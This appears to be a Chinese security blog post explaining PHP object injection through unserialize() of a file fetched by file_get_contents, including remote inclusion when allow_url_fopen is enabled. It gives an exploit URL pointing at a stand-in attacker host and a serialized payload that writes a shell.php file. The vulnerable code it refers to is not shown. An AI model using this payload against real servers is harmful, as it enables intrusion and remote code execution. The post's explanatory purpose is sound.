php反序列化中远程包含的场景

作者: 康康 分类: Web安全 发布时间: 2018-04-18 08:59

部分摘取自freebuf

0×01 包含漏洞的代码

在上面的代码中,用户控制的值可能会被传递给PHP的反序列化函数。在用户提供的输入未进行适当处理就传递给函数unserialize()时,此时就有可能导致该漏洞的发生。由于PHP中允许对象序列化,所以攻击者可以通过将特殊的序列化字符串传递到一个脆弱的unserialization()调用中,以此导致一个任意的PHP对象注入到应用程序范围中。在我们的代码中,应用程序接收一个文件名,接着使用PHP中的file_get_contents函数读取内容。然后,将输出内容输入到PHP的反序列化模块。之前已经提到,上面的漏洞可以同时进行应用级和系统级别的代码执行,所以接下来我们将深入分析该漏洞。

 

为了成功地利用上述漏洞,必须满足三个条件:

1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

参考: https://www.owasp.org/index.php/PHP_Object_Injection

在上面的场景中,条件1和条件2是为了满足于漏洞利用。但是,因为反序列化操作的输入值来自于PHP中file_get_contents读取的一个文件,所以对该漏洞的利用有些棘手。

如果开启了allow_url_fopen(最新的PHP版本默认禁用),那么PHP函数file_get_contents可以接收远程URL作为其参数。在这种情况下,攻击者可以向该函数中输入一个包含一个恶意文件的URL,该文件中包含了序列化的植入于一个远程服务器上的恶意数据。

http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt

0×02 exp.txt内容

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

发表评论

电子邮件地址不会被公开。 必填项已用*标注